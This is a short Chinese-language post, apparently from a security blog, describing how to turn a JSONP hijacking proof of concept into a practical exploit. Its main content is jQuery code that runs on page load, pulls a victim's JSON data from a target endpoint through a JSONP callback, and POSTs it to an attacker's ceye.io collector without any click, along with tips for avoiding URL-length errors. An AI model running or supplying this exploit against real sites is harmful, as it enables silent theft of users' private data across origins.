之前测jsonp劫持的时候一般是弹个alert,就做poc了,
突然想试试实际利用一下是什么样子,于是就开始尝试做个实际利用的poc。
正文
在网上看到一般的证明脚本是
function lego(json){
alert(JSON.stringify(json))
}
于是我便想尝试一下去构造一个可以来直接利用的exp
因为这个脚本利用的是get方法
如果劫持到的数据过多,用get请求的时候会返回414(URI太长 )
于是我就想用post的方法去请求
这种exp不能自动发起请求,需要点击按键。
与CSRF利用一样,如果用burpsuite生成的csrf-poc是用个submit按钮的,
在实际利用中还是差一点的,
所以我还是想让它变得更加实用一点。
首先是使用onload事件,
即页面加载完成后执行一个方法,
这个方法利用有post请求,就可以完成我所想实现的了。
exp
JSONP EXP跨域测试function load()
{
$.ajax({
url: "http://xxx.com/info?callback=lego",
type: "GET", //指定GET请求方法
dataType: "jsonp", //指定 服务器 返回的数据类型
jsonp: "callback", //指定参数名称
jsonpCallback: "lego",
success: function (data) {
$.ajax({
type: 'POST',
url: 'http://yourceye.ceye.io/',
data: JSON.stringify(data)
});
}
})
}
当然,需要在ceye.io中注册一个账号。
效果
当然这也不是什么很有技术内容的文章,只是想跟大家分享一下一些小trick,多多包涵。